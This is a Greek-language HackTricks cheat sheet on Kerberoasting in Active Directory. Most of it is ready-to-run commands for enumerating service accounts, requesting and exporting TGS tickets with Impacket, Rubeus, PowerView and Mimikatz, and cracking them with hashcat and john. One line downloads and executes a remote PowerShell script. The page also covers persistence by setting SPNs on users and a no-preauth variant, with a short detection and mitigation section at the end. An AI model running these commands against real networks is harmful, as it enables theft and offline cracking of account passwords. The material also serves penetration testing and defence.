Kerberoast

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Kerberoast

Η διαδικασία Kerberoasting επικεντρώνεται στην απόκτηση TGS εισιτηρίων, ειδικότερα αυτών που σχετίζονται με υπηρεσίες που λειτουργούν υπό λογαριασμούς χρηστών στο Active Directory (AD), εξαιρώντας τους λογαριασμούς υπολογιστών. Η κρυπτογράφηση αυτών των εισιτηρίων χρησιμοποιεί κλειδιά που προέρχονται από κωδικούς πρόσβασης χρηστών, επιτρέποντας τη δυνατότητα αποκρυπτογράφησης διαπιστευτήριων εκτός σύνδεσης. Η χρήση ενός λογαριασμού χρήστη ως υπηρεσία υποδεικνύεται από τη μη κενή ιδιότητα "ServicePrincipalName".

Για την εκτέλεση του Kerberoasting, είναι απαραίτητος ένας λογαριασμός τομέα που μπορεί να ζητήσει TGS εισιτήρια· ωστόσο, αυτή η διαδικασία δεν απαιτεί ειδικά δικαιώματα, καθιστώντας την προσβάσιμη σε οποιονδήποτε με έγκυρα διαπιστευτήρια τομέα.

Κύρια Σημεία:

  • Το Kerberoasting στοχεύει σε TGS εισιτήρια για υπηρεσίες λογαριασμών χρηστών εντός του AD.

  • Τα εισιτήρια που κρυπτογραφούνται με κλειδιά από κωδικούς πρόσβασης χρηστών μπορούν να αποκρυπτογραφηθούν εκτός σύνδεσης.

  • Μια υπηρεσία αναγνωρίζεται από ένα ServicePrincipalName που δεν είναι κενό.

  • Δεν απαιτούνται ειδικά δικαιώματα, απλώς έγκυρα διαπιστευτήρια τομέα.

Επίθεση

Τα εργαλεία Kerberoasting συνήθως ζητούν κρυπτογράφηση RC4 κατά την εκτέλεση της επίθεσης και την έναρξη αιτημάτων TGS-REQ. Αυτό συμβαίνει επειδή το RC4 είναι ασθενέστερο και ευκολότερο να αποκρυπτογραφηθεί εκτός σύνδεσης χρησιμοποιώντας εργαλεία όπως το Hashcat από άλλους αλγόριθμους κρυπτογράφησης όπως το AES-128 και το AES-256. Οι κατακερματισμοί RC4 (τύπος 23) ξεκινούν με $krb5tgs$23$* ενώ οι AES-256 (τύπος 18) ξεκινούν με $krb5tgs$18$*.

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Εργαλεία με πολλαπλά χαρακτηριστικά συμπεριλαμβανομένης μιας λίστας με χρήστες που μπορούν να υποστούν Kerberoast.

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Απαρίθμηση χρηστών που μπορούν να υποστούν Kerberoast

# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Τεχνική 1: Ζητήστε TGS και ανακτήστε το από τη μνήμη

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Τεχνική 2: Αυτόματα εργαλεία

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

Όταν ζητείται ένα TGS, δημιουργείται το γεγονός του Windows 4769 - Ζητήθηκε ένα εισιτήριο υπηρεσίας Kerberos.

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας πιο προηγμένης κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Σπάσιμο

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Διατήρηση

Εάν έχετε επαρκή δικαιώματα πάνω σε έναν χρήστη μπορείτε να τον κάνετε kerberoastable:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Μπορείτε να βρείτε χρήσιμα εργαλεία για επιθέσεις kerberoast εδώ: https://github.com/nidem/kerberoast

Αν αντιμετωπίζετε αυτό το σφάλμα από το Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) είναι λόγω της τοπικής ώρας σας, πρέπει να συγχρονίσετε τον υπολογιστή με τον DC. Υπάρχουν μερικές επιλογές:

  • ntpdate <IP του DC> - Αποσυρμένο από το Ubuntu 16.04

  • rdate -n <IP του DC>

Αντιμετώπιση

Η Kerberoasting μπορεί να πραγματοποιηθεί με υψηλό βαθμό αόρατης λειτουργίας αν είναι εκμεταλλεύσιμη. Για να ανιχνευθεί αυτή η δραστηριότητα, πρέπει να δοθεί προσοχή στο Security Event ID 4769, το οποίο υποδηλώνει ότι έχει ζητηθεί ένα εισιτήριο Kerberos. Ωστόσο, λόγω της υψηλής συχνότητας αυτού του γεγονότος, πρέπει να εφαρμοστούν συγκεκριμένα φίλτρα για να απομονωθούν ύποπτες δραστηριότητες:

  • Το όνομα υπηρεσίας δεν πρέπει να είναι krbtgt, καθώς αυτό είναι μια φυσιολογική αίτηση.

  • Τα ονόματα υπηρεσιών που τελειώνουν με $ πρέπει να εξαιρεθούν για να αποφευχθεί η συμπερίληψη λογαριασμών μηχανών που χρησιμοποιούνται για υπηρεσίες.

  • Οι αιτήσεις από μηχανές πρέπει να φιλτραριστούν αποκλείοντας τα ονόματα λογαριασμών μορφοποιημένα ως machine@domain.

  • Πρέπει να ληφθούν υπόψη μόνο οι επιτυχείς αιτήσεις εισιτηρίων, που αναγνωρίζονται από έναν κωδικό αποτυχίας '0x0'.

  • Το πιο σημαντικό, ο τύπος κρυπτογράφησης του εισιτηρίου πρέπει να είναι 0x17, ο οποίος χρησιμοποιείται συχνά σε επιθέσεις Kerberoasting.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Για να μειώσετε τον κίνδυνο του Kerberoasting:

  • Βεβαιωθείτε ότι οι κωδικοί πρόσβασης των λογαριασμών υπηρεσιών είναι δύσκολοι να μαντευτούν, συστήνοντας μήκος πάνω από 25 χαρακτήρες.

  • Χρησιμοποιήστε Διαχειριζόμενους Λογαριασμούς Υπηρεσιών, οι οποίοι προσφέρουν οφέλη όπως αυτόματες αλλαγές κωδικών πρόσβασης και αναθεωρημένη Διαχείριση Ονομάτων Υπηρεσιών Κύριου (SPN), ενισχύοντας την ασφάλεια ενάντια σε τέτοιου είδους επιθέσεις.

Με την εφαρμογή αυτών των μέτρων, οι οργανισμοί μπορούν να μειώσουν σημαντικά τον κίνδυνο που σχετίζεται με το Kerberoasting.

Kerberoast χωρίς λογαριασμό τομέα

Τον Σεπτέμβριο του 2022, ένας νέος τρόπος εκμετάλλευσης ενός συστήματος φέρθηκε στο φως από έναν ερευνητή με το όνομα Charlie Clark, κοινοποιημένος μέσω της πλατφόρμας του exploit.ph. Αυτή η μέθοδος επιτρέπει την απόκτηση Εισιτηρίων Υπηρεσιών (ST) μέσω ενός αιτήματος KRB_AS_REQ, το οποίο εντυπωσιακά δεν απαιτεί έλεγχο επί κάποιου λογαριασμού Active Directory. Βασικά, αν ένας αρχέγονος είναι ρυθμισμένος με τέτοιο τρόπο ώστε να μην απαιτεί προ-πιστοποίηση - ένα σενάριο παρόμοιο με αυτό που είναι γνωστό στον κυβερνοχώρο ως επίθεση AS-REP Roasting - αυτό το χαρακτηριστικό μπορεί να αξιοποιηθεί για τη χειραγώγηση της διαδικασίας αιτήματος. Συγκεκριμένα, με την τροποποίηση του χαρακτηριστικού sname μέσα στο σώμα του αιτήματος, το σύστημα απατείται να εκδώσει ένα ST αντί για το κανονικό κρυπτογραφημένο Εισιτήριο Χορήγησης Εισιτηρίων (TGT).

Η τεχνική εξηγείται πλήρως σε αυτό το άρθρο: Ανάρτηση ιστολογίου Semperis.

Πρέπει να παρέχετε μια λίστα χρηστών επειδή δεν έχουμε έγκυρο λογαριασμό για να ερωτήσουμε το LDAP χρησιμοποιώντας αυτήν την τεχνική.

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Last updated